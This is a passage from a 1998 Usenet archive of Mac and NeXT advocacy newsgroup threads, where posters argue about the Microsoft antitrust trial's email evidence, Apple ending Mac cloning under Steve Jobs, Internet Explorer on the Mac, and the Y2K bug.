of, the Yk2 bug was the most avoidable and predictable. You're right, I
think this tiff with Microsoft is just the beginning of a pattern of
government interference with the computer industry as a whole.
What's so ironic about both these situations is that the industry has
done these things to itself. Hari-Kari, anyone?...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 13:52:24 -0500
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Maury Markowitz wrote:
>
> Which is simply sidestepping the point. The point is not whether or not
> they remember the e-mails, but whether or not the e-mails are legit. They
> appear to be lefit, regardless of whether of not they are remembered.
> However this does seem to suggest that you no longer wish to suggest they
> are faked, or of lessor value that other documents.
What I have been saying all along is very simple. If you or I was
presented with an email it was claimed we had authored some years
earlier, and we could not recall writing it, we could not say with
certainty whether we had actually written it or not. However, if we were
presented with signed, notarized documents, and we could recognize our
own signatures clearly enough, and verify the signatures through the
notary's records, then we could concede to having signed it whether we
remembered it or not. In the first case we could not say that forgery
had not occurred. In the second we could.
>
> > Hmmm...I wonder what percentage of all of the Microsoft email these
> > emails represent. 1%? 1/2 of 1%? Maybe 100th of 1%?
>
> Oh, like that makes a difference. I'd say less than 1/100th of 1% of all
> business dealings are illegal, but that doesn't make them less illegal.
I recall no specific illegal actions being mentioned in any of the
emails the DOJ has "discovered." What I saw were peripheral comments
which the government construes strengthen its case.
>
> > Seems the government has uncovered only three or four such emails
>
> No, several thousand, they've just highlighted a few in the press and in
> direct questioning.
Um, that's because the *other* emails (the "thousands") do not remotely
have anything at all to do with the government's contentions. The ones
"highlighted" are the *only* ones the government has cited as backing up
its contentions.
>
> You don't have a *clue*, do you?
It's obvious that I think it is you who best fits that category...:)
>
> > a body of probably thousands written over the last three years. Wonder
> > how many exculpatory emails the Gov has deliberately overlooked?...:)
>
> Now you put smileys at the end of pratically every statement you make. I
> suppose this means we aren't supposed to take those portions seriously.
> Let me save you the typing, no one here is taking anything you say
> seriously. You wear your ignorance of this case like a badge of honor.
So, that's your excuse for not answering the question?
>
> To turn around your own statement, just because you have no idea what
> you're talking about, doesn't mean they didn't do the deeds people are
> accusing them of.
>
And just because you are "clueless" doesn't mean the government has the
remotest idea what it's doing...:) (sorry)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 13:36:50 -0500
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Charles Swiger wrote:
>
> More seriously, where do think the codename "Mozilla" came from?
Mosaic Killer...:) Yes, Netscape is such an altruistic bunch...:)
>
> > I think that every positive thing Microsoft has done regarding Apple has
> > a whole lot of relevance--certainly as much relevance as the rumored,
> > not so obvious things Microsoft has supposedly done to hurt Apple.
>
> Why? To resort to analogy, if a thief gives some of his money to charity,
> does that have any relevance to the criminality of his theft?
>
Well, since the charitable gift would be a matter of public record in
this case, and the "thievery" merely a matter of speculation, innuendo,
sour grapes, and gossip (IE, no official proof of it on record), I would
think the charitable gift (in a rational world) would be of more
ultimate consequence.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 14:19:11 -0500
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Charles Swiger wrote:
>
> In article <36519895.5AF11382@spamtoNull.com>,
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> > Charles Swiger wrote:
> >> Why? What evidence do you have that doing IE for the Mac does not benefit
> >> MS more than Apple?
> >
> > IF Apple had said to Microsoft, "Let us use IE as our default browser
> > and we'll buy $150 million of Microsoft stock and keep it three years
> > before we sell it," I'd be inclined to agree with you...
>
> That's nice, but it doesn't answer my question, either.
>
OK...let's try again...:)
If Apple had bought Microsoft stock to the tune of $150 million and
agreed not to sell it for three years, I'd say Microsoft would have
benefitted more. If Netscape had been really pushing Apple to adopt
Communicator as the "default" browser, and Netscape had been working
hard on a Mac browser instead of barely acknowledging that Apple still
existed, I would say that Microsoft would really have benefitted by
getting IE on as the default Mac browser shipping in every new Mac. But
I sort of think Apple came out ahead because Netscape was doing almost
nothing for Mac browser development and Microsoft was doing (by
comparison) a lot more. Last, I can't see how MS derived much financial
benefit, since MS absorbs all the development costs and Apple pays
nothing for IE.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 14:46:32 -0500
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Andy Walton wrote:
>
>
> The case against Microsoft isn't that they're a bunch of meany-heads; the
> case is that they stifled competititon in the marketplace. Any such claim
> about Apple is patently absurd, given the claim of their primary
> competitor.
So, then, Apple killing off Mac clone companies (or buying them off) is
not considered "stifling competition in the marketplace"? Or is it that
Apple can "get by" with that merely because "compared to what Microsoft
has allegedly done" it's small potatoes?
>
> You're defining "monopolistic" awfully loosely. By that definition,
> MacDonald's should be dragged into court because it exercises monopoly
> control over its franchisees. Never mind how many other restaurants a
> consumer can choose from.
At least, then, because consumers have several other OS's to choose from
aside from Microsoft OSs we can at last dispense with the claim that
"Microsoft is a monopoly." That's refreshing.
struggling to remember their context, as well. Aside from
that, you are talking about snippets which the government edited out of
an hours' long interview. Obviously, the government gets no points for
replaying segments of the interview in which Gates appears truthful and
poised.
>
> If he really didn't remember, all he had to say was, "I don't remember,
> and I don't think I wrote those emails." Instead, he went off on a "well,
> it didn't mean what it actually says" tangent, and looked silly as hell.
I wonder how many of *us* could be made to look just as silly in the
same situation.
> Doesn't matter. If you're running a wiretap operation and the guy you're
> listening to says "well, I killed Joe Schmo last night," you probably
> don't have to spend a lot of time listening to the ones where he didn't
> say it.
Would you mind quoting the email in which Gates talks about committing a
crime?
>
> > Seems the government has uncovered only three or four such emails out of
> > a body of probably thousands written over the last three years. Wonder
> > how many exculpatory emails the Gov has deliberately overlooked?...:)
>
> If there were some, Microsoft would certainly have mentioned them by now.
> It's not like their lawyers are particularly hamstrung by being poor.
>
I expect there's actually quite a lot of exculpatory stuff already
presented.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 14:55:03 -0500
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Maury Markowitz wrote:
>
> In <3651B55A.62B4AA04@spamtoNull.com> Jonathan Harker wrote:
> > Sal Denaro wrote:
> >
> > >
> > > Of course, you still haven't posted anything to back up your statements.
> >
> > I did...that was the part of the post you omitted when you took that one
> > remark out of context.
>
> Now this is truely amusing, considering that you took Sal's post out of
> context by clipping out the portion where he mentions what details in
> specific he's talking about.
>
What post was that? As I recall, he never mentioned any specifics at
all. He just accused me of being "clever" which I take to mean that he
had no answer for my comments and thus derided them as merely "clever"
simply because he couldn't answer. He then asked me to repeat the
entirety of several posts which I wasn't inclined to do.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 15:37:55 -0500
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spagiola@my-dejanews.com wrote:
>
> Jon,
>
> I agree with all your points about the evidenciary value of e-mail vs signed
> letters etc.
Thanks, as all of that seems fairly obvious, I think.
>
> However, in this particular case, it is my understanding that all the e-mails
> being introduced as evidence were provided by Microsoft in response to DOJ
> subpoenas. In other words, there is no reason to believe that they were
> forged, unless you want to believe that MS forged e-mails that appear
> damaging to its position and turned them over to the DOJ. And indeed, I
> haven't heard any MS lawyer disputing the authenticity of any of the e-mails
> that have been attributed to Gates, or to other MS employees (or did I miss
> that?).
Well, I understood that DOJ came to Microsoft with subpoenas and that
Microsoft "provided" them access to backups of company documents,
electronic and otherwise. It's been suggested that some of the emails
clearly show Microsoft officials engaged in "illegal" activities. My
problem with that is that it simply doesn't make sense to imagine a
crooked company handing over incriminating documents, email or
otherwise, to the DOJ when it would have been a simple matter to expunge
such email from the system. If you were crooked that's probably what
you'd do.
What I was saying about the "forgery" aspect was that if normal people
were presented with years-old email which they could not remember having
written (probably not an uncommon result) there might be a genuine
question in their minds as to whether or not they wrote those emails (or
if someone else put them in later) or what they might have been talking
about when they wrote them (if they wrote them). I would think this
especially true if those emails might tend to, if not incriminate, then
to at least embarrass.
The thing we have to do here is to separate the individuals inside of
Microsoft from Microsoft itself (as a company.) If an employee of the
company had placed those emails at an earlier date, then the principals
involved (Gates, etc.) would be unaware of them ever having been in the
record, and it would have been they who directed the bulk of the records
be turned over in the first place. After the records have been turned
over, it would not do for Gates and Co. to say: "I challenge the
authenticity of that email", would it? However, this of itself would not
mean that Gates and Co. did not in fact internally question the validity
of some of the very same emails they had previously turned over.
Which brings us to an enigma of sorts. If you are crooked and you know
you're crooked, then you know the emails are there and it isn't going to
be much of a stretch to erase them from the record. At the very least,
even if Microsoft felt itself to be on shaky ground, having committed no
illegalities per se, it would seem an internal review of the email
documents would have uncovered these anomalies and Microsoft could have
either expunged them or else prepared itself with concrete explanations
as to their questionable content.
But Gates seemed to me genuinely caught off guard and at a loss to
explain some of the emails. He certainly wasn't prepared to answer them
(as would have been the case had he known they were there.) This leads
me to believe that there might at least be a genuine question in his
mind as to where they came from. Just because Microsoft turned over the
emails does not preclude the possibility of some forged ones having been
placed in the record by an irate employee. In fact, had Gates been
smooth in his explanations I would have questioned his veracity much
more than I do currently.
>
> So, you're correct on the legalities (bearing in mind that IANAL) and right
> to rebut the incorrect assertions of the previous poster, but this does not
> change the fact that the particular e-mails introduced into evidence by the
> DOJ are pretty damning. All IMHO, of course.
>
That's what bothers me. If Microsoft had been crooked the existence of
such emails would have been known and prepared for, or else the emails
would have been expunged. I don't think it follows to accuse Gates of
such cold-blooded illegalities and then to assume he was "caught" in
them by the very same documents he himself authorized be turned over to
the DOJ. Something's missing here.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 14:31:30 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3659C622.AD66DBB7@ericsson.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <01be0eb2$2064ff50$06387880@chewy> <364C9471.191445C9@spamtoNull.com> <01be0f87$f87c2640$06387880@chewy> <364DC469.395BDD91@spamtoNull.com> <01be1023$3446fd80$06387880@chewy> <36506692.9173FE97@spamtoNull.com> <ckoller-ya02408000R1611981410520001@netnews.worldnet.att.net> <3651A8D7.50E811D8@spamtoNull.com> <ckoller-ya02408000R1711980956430001@netnews.worldnet.att.net> <3659A9C6.7B15A948@spamtoNull.com>
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Jonathan Harker wrote:
[cut]
> Seriously, what these guys object to is that it's Bill and not them who
> "runs the world." (talk about mythology!) They just want to trade
> places, *and* they want to make sure the government protects what they
> consider to be their markets against competition from the "feisty little
> geek" who is aiming to upset their applecarts by daring to compete with
> them. I have no doubt that protectionism is exactly what is driving
> these events. Had Gates confined himself to 90% of the X86 16/32-bit
> market, and stayed out of the workstation markets, I don't think we'd
> have heard a peep from any of these guys.
That about sums it up. This is the "seminar" Michael Giddings wished he
could have given. The moment you hear AOL, Netscape, and Sun executives
(and USENET "experts") spouting righteously indignant verbiage, you can
be pretty sure you know why they understand Microsoft so well; they've
been dreaming of that kind of success for years.
But now that Jim Barksdale has run Netscape into irrelevance, McNealy
has squandered Solaris' potential, and Steve Case has earned AOL the
worst reputation in cyberspace, bitterness and jealousy rear their ugly
heads.
After all, we have before us a parade of executives who, on the one
hand, claim to worship the virtues of competition, free markets, and
capitalism, and on the other hand can't wait for a legal precedent based
on federal action to strike down the so-called Microsoft "Monopoly". Uh,
sure, guys. Maybe Barksdale will learn to bite his lip in the piteous
way Bill Clinton has put to so much good use...
[cut]
> > Goodbye hands-off policy...
>
> I think you are exactly right about YK2 and it's likely effects. I, for
> one, view the Y2K thing as no more than software bugs which companies
> should be required to fix just like any other bugs--with the possible
> addition of the suggestion that the Y2K bug, if left unaddressed, could
> be much more serious than your routine software bug. The fact that
> companies are charging so much money to address the Yk2 bug is
> tantamount to robbery, in my view. Of all the possible bugs I can think
> of, the Yk2 bug was the most avoidable and predictable. You're right, I
> think this tiff with Microsoft is just the beginning of a pattern of
> government interference with the computer industry as a whole.
>
> What's so ironic about both these situations is that the industry has
> done these things to itself. Hari-Kari, anyone?...:)
This is the danger of such anthropomorphism. The "industry" is a not a
thing or a person, it is a collection of individually-accountable
parties. There is no "fault" for the Y2K bug; the laws of market
economics clearly show that events occur according to economic
incentive. If there is no incentive to fix the bug it will not be fixed.
Rest assured that there is incentive, and rest assured that it will be
fixed. When malfunction destroys a pager satellite, or MAE EAST goes
down, or an Ericsson AXE switch goes postal, and *somebody* is losing
millions of dollars every 60 seconds, why do you think replacement
equipment is suddenly so easy to find?
Unfortunately our Keynesian government has little regard for such
concepts. There will be severe political fallout from the Y2K bug.
MJP
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: Mon, 23 Nov 1998 20:44:16 GMT
Organization: Videotron Communications Ltd.
Message-ID: <3659c849.15998653@news.prosurfr.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <3652fc3a.9680472@news.chicagonet.net>
milo_mklinux@my-dejanews.com (Milo MkLinux) wrote, in part:
>On 17 Nov 1998 15:56:33 GMT, John Jensen <jjens@primenet.com> wrote:
>>I'm sure Apple can continue to make a business in affluent countries, but
>>even there some customers might prefer a world platform.
>You're forgetting that the Mac runs Linux.
That's true enough, but it isn't the cheapest box that can run Linux.
Nor is it cloned any longer.
One buys a Mac so that one can run the MacOS. Period.
It is wonderful that there _is_ a Linux for the Mac, but this is a
benefit to existing Mac users, not a reason to buy a Mac as a means to
run Linux.
Thus, if Linux became a "world platform", it would be on PC hardware -
and so in affluent countries, people would be encouraged to choose the
machine that was binary compatible; the OS is not the platform by
itself.
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:30:23 -0500
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Craig Koller wrote:
>
>
> Now is a time for total autonomy, not a time to carry partners who's
> loyalty to the Mac platform is anything but solid.
I can understand your feelings here, but I view it as the "Mac market"
as defined by cloners & Apple was still a very immature enterprise. It
was having growing pains. In fact, in some sense it was very much like
the X86 cloning industry a decade ago or so--sort of chaotic and
piecemeal.
The problem was, I think, that cloning for the Mac was cut short before
it reached a maturity. I think a fundamental problem with Apple's idea
of cloning was that it was Apple-centric. That is, Mac cloning,
according to Apple, wasn't about what created a dynamic, growing Mac
market of which Apple was a *part* and *one* of the beneficiaries. For
Apple (under Jobs) cloning became a "threat" to the existence of Apple
which, in hindsight, was a truly ridiculous and silly thing to say.
Apple *always* had 80% of the market to itself, most often 90% as it had
when it axed the cloners. The problems at Apple had to do with Apple,
not the cloners. I remember well Jobs declaring that the Mac market
"could not grow" and therefore the cloners were a "threat" to Apple. Now
that the cloners are gone, it appears Jobs thinks the Mac market can,
indeed, grow larger than it is. In short, Jobs ideas only made sense if
you assumed an inelastic or shrinking Mac market. That was a convenient
assumption which Jobs tossed away just as soon as his real goal--the
elimination of all Apple competition within the Mac market--was
realized.
>
> On the other hand, he could have bled them dry (especially the smaller,
> more desperate ones) and people could blast him for victimizing the hapless
> cloners. I don't think it had anything to do with distain or disregard for
> the cloners. It was about saving Apple. You're free to believe that cloning
> might have worked. Jobs obviously didn't, but that doesn't mean it was an
> evil, ruthless decision. He took a hellofalotta heat for it.
The sad part is that Apple will never be trusted as a major team
player--ever again. Other companies will always know that Apple will
stab them in the back if Apple feels sufficient justification for doing
so, regardless of what agreements or investments are on the table. Jobs
has permanently etched an Apple character of "loner" in stone. I think
that's too bad because, regardless of what good fortune if any Apple
runs into in the future, the company will forever be regarded as a niche
player. The days of Apple leadership are gone for good.
> >
> >
> > You missed the point. If the Mac cloners were still around, there might
> > be two or three iMac-class machines for all of those buyers to chose
> > from, instead of one single machine that's a take it or leave it
> > proposition.
>
> Sure, from a consumer standpoint that would be nice, but the bottom line is
> that in order to do the things people do with computers, they can use a Mac
> (1 brand, 1 OS) or a PC (many brands - basically *one* OS). I can't
> begrudge Jobs for killing cloning - remember when everybody said that would
> mark the death of Apple? Never happened did it. I still think that when
> Apple's house is back in order, Cloning Part Deux will emerge.
Who is going to do Part Two? I'd be amazed if Apple can get anybody
interested. People have this odd habit of not wanting to waste years of
their time and millions of their dollars.
Again, we get down to a fundamental issue--"consumer standpoint." As
long as consumers feel their choices within the Mac environment are
limited the growth of the Mac market will be negligible. Consumers like
choice. Jobs wants to put three turkeys on the table, each with
different colored ribbons. He looks at the ribbons and declares
"choice." Consumers would rather choose from a turkey, a steak, or a
sandwich, to heck with the ribbons!....:) (I guess...)
>
> Yeah, but Apple is two companies in one, software and hardware, versus MS
> which is all about software. As tough as it may be for PC clone vendors, MS
> is completely insulated - as long as the aggregate sales of PC's is strong,
> they could give a rat's patootey about the fate of any one vendor. With the
> smaller volume of Mac sales, Apple relies on hardware margins to sustain
> its business model.
Oh, how I wish Apple could see itself as a software company...:)
>
> Didn't work out that way. Partially because MS is so damned strong in the
> channel, and Apple was just so damn inept at marketing the Mac platform
> back then. They were pitiful. They sucked so hard. It was a mess, a
> foundering vessel, and that's what Jobs inherited.
>
> No wonder he insisted on retaining the "interim" title.
I still don't think Apple cloning had enough time or enough "vision" out
of Apple to work. I think the concept was sound, but the execution
sucked.
> >
> >
> > PowerCC *could* have been a powerful ally and asset had Jobs not seen
> > them as the "enemy." It's all in your point of view.
> >
> Maybe. I'm not saying you're wrong. I'll betcha though, their Mac notebook
> design would have *killed* Apple laptop sales (which were just emerging
> from the crappy 5300C days).
One thing that was overlooked in the cloning arrangements was that you
could do cross-licensing agreements with the clone companies. This is
one of many concepts that could have been done. Apple could have
benefited from the expertise assembled at companies like PowerCC. The
problem with what I'm hearing out of Apple these days is: "Only Jobs can
do it." That's myopic and just plain wrong, I think. It makes for a much
smaller Mac influence than might have been.
>
> This whole ball of wax requires patience. I stick with Apple because I have
> confidence in where they are taking personal computing. I was very, very
> ready to bail until Steve came back. Microsoft, to me, is simply wedging in
> shit in a shitty way. You can do anything you want on a Wintel machine, but
> the hoops you have to jump through ... I just can't stand it.
>
> Anything has got to be better than a world consigned solely to Bill's
> wishes. I'd take a Steve Jobs who stomps little kittens and runs naked
> through the streets, if that was the only alternative.
>
> And this from a three-time clone buyer/owner.
What I like most about the X86 market is hardware choice. Microsoft is
one of the things I least like about it. If Apple got cloning going
again and had a really solid OS, I might buy one. But with Microsoft I'm
still left a fairly good hardware end--if I go Apple then Jobs is
running both my software and my hardware. That's just too limiting. I
hate to say it, but I really think there'll be no more Mac cloning.
Prospective companies are likely to want agreements with Apple that are
so tight that Jobs won't agree to them. But Jobs won't be around
forever, so maybe there's slim hope around the corner...
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:38:00 -0500
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gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> >I see that you've forgotten the $50 million to $100 million dollars a
> >quarter Apple was receiving in royalties from the cloners, along with
> >the fact that the cloners had agreed to a DOUBLING of the fees they'd
> >pay Apple--and Jobs killed them off anyway. If Jobs had been a real
>
> Q: wasn't Apple selling about 1 million machines a quarter at that time ?
> Wasn't it stated here that cloners had no more than 10% of the market ?
> Isn't it true, then, that the cloners were selling about 100,000 machines
> per quarter ? At $50 million of royalties, that is $500 a machine !!!
> So, are you sure you are correct ?
>
The cloners were buying their motherboards and other chips from Apple as
well as paying for the OS they were shipping with each new machine, on
top of licensing fees. Considering what the cloners were forced to buy
from Apple as condition of the cloning agreements, this might not be far
off the mark though it seems a bit high. At one point, though, the
cloners had 20% of the market. The deals negotiated with Amelio would
have been more lucrative still--fees generally doubled, with the fees on
laptops going up 4X or more! Jobs turned down some very high offers from
the cloners before doing them in.
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 23 Nov 1998 21:46:43 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <73cl43$h48$1@cronkite.cs.umd.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net>
NNTP-Posting-Date: 23 Nov 1998 21:46:43 GMT
void (float@interport.net) wrote:
> On 20 Nov 1998 20:55:36 GMT, Tony Minkoff <tminkoff@cts.com> wrote:
> >
> >(Just out of curiosity, what are you running on that dinosaur?)
> It's a NeXTstation, I'm running NeXTStep 3.3 on it.
Not for long.
See http://enterprise.apple.com/y2k/
Sean
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:43:28 -0500
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Sal Denaro wrote:
>
> Do you know more about Intel's marketing plans than Intel?
Of course!
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:45:35 -0500
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Sal Denaro wrote:
>
> On Tue, 17 Nov 1998 12:44:10 -0500, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
> >Is "Compaq" a person? I think you are confusing a person with the
> >official policy of the company.
>
> Statements made by an official representative of a company can be assumed
> to be policy of that company. When Steve Jobs makes a statement, it can be
> inferred that said statement can from "Apple"
>
> That same goes for Compaq, GE, Acme widgets and every other company in
> the US. (and possibly beyond.)
Not in this case. These statements come from a subpeoned *government*
witness. Compaq has made no such official corporate statements.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:49:25 -0500
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Sal Denaro wrote:
>
> Yet you choose to quote that same article when you mentioned the "milk
> the Mac for all it's worth while moving on to the next big thing" quote.
That's entirely consistent as although the article may have had a time
reference, I see nothing to indicate a basic shift in Jobs' philosophy
since then.
>
> > His
> >statements were no more than damage control made to try and smooth over
> >a bad situation of his making.
>
> As was pointed out elsewhere, those quotes were made in Oct '95 and Feb '96,
> well before Steve came back to Apple. What damage was he controling?
You're confusing the article quotes with the ideas themselves, or do you
imagine that Jobs discards his thoughts immediately after they appear in
magazine print?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:55:17 -0500
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Rick wrote:
>
> Actually, in th elegal sense, a corporation and a person are both legal
> entities. Both can be damaged, sue, be sued and share a host of other
> legal similarities.
>
This is certainly true. But it is also true that legally there is a
distinct difference between what a company releases as a public
statement (ex. press release) and what one of its employees says when
asked to give his personal opinion at a trial.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 17:05:47 -0500
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"R. Tang" wrote:
>
> Two markets competing for the same users are NOT two markets;
> they're one market.
What is Apple doing to persuade X86 users to defect? What is Dell doing
to bring over Mac users?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:52:38 -0500
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Sal Denaro wrote:
>
> On Tue, 17 Nov 1998 11:07:09 -0500, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
> >are all out of business. We cannot say, however, that we *know* that
> >"Microsoft attempted to kill Quicktime" because there is *nothing* in
> >the public record about it, and Quicktime has not been killed.
>
> There is email, that comes from Microsoft (it was urrendered to the court
> by Microsoft, *NOT* a 3rd party) where official representatives of Microsoft
> state that they wanted to use the threat of dropping Office for the Mac to
> get Apple to kill off QuickTime. It is in the public record.
It is *now* in "public record" only because of testimony in this trial.
It has no other "public record" basis. Further, it is a "that's what
this person said" comment when "this person" didn't even have the
authority to "kill Quicktime." The Apple cloning debacle was made public
record in and of itself and its results are public record--there are no
more Mac clone companies.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 16:56:27 -0500
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Rick wrote:
>
> Bzzt - perjuryhas not been charged or proved. Many legal experts have
> publiclly stated perjury could not be proved... and the case would just
> as likely NOT have been reopened. Her lawyers were ready to bail. Her
> backers were ready to bail.
> --
Bzzzt--then why the $850,000 pay off? "Services rendered"....?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 17:06:48 -0500
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Chad Irby wrote:
>
> adt@netcom.com (Anthony D. Tribelli) wrote:
>
> > On the other hand I can't help but wonder how many defections the cloners
> > prevented by offering more affordable MacOS solutions.
>
> Not many. Everyone I knew who bought clones was shopping for
> mid-to-high-end Apple products at the time.
>
Interesting that they didn't buy the Apple products they were shopping
for....
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 17:04:02 -0500
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"Anthony D. Tribelli" wrote:
>
> On the other hand I can't help but wonder how many defections the cloners
> prevented by offering more affordable MacOS solutions.
>
I couldn't agree more...
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 17:03:15 -0500
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"Anthony D. Tribelli" wrote:
>
> Actually I got your point, but your point didn't invalidate the fact that
> Microsoft only needs to follow the customers while Intel needs to lead the
> customers to Intel solutions.
>
I'm not sure if you realize the extent to which Microsoft and Intel
share markets and the extent to which they cooperate because of it.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 23 Nov 1998 17:01:28 -0500
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Stephen Peters wrote:
>
> I don't know, Jonathan; I think I'm missing something. Can you
> explain it better? Or are you just assuming that IE on the Mac has
> *no* value to Microsoft, so it's only the $150 million which
> represents the profit in the deal?
>
I never said it had "no" value to Microsoft. The original question put
to me was how I might conclude that it benefited Microsoft *more* than
Apple.
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 23 Nov 1998 22:13:10 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <73cmlm$omf$6@newnews.nl.uu.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu>
seanl@cs.umd.edu (Sean Luke) wrote:
> void (float@interport.net) wrote:
> > On 20 Nov 1998 20:55:36 GMT, Tony Minkoff <tminkoff@cts.com> wrote:
> > >(Just out of curiosity, what are you running on that dinosaur?)
> > It's a NeXTstation, I'm running NeXTStep 3.3 on it.
> Not for long.
> See http://enterprise.apple.com/y2k/
Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
thing left is buying a modem card and a printer - must be possible in the
remaining 13 months ...
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; egcs: mailto:egcs-bugs@cygnus.com
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <rbarris-ya023280002311981438000001@206.82.216.1>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus- <adtF2Ls51.4v6@netcom.com> <72uq90$150c$1@nntp6.u.washington.edu> <3659DC3A.BD2CB13@spamtoNull.com>
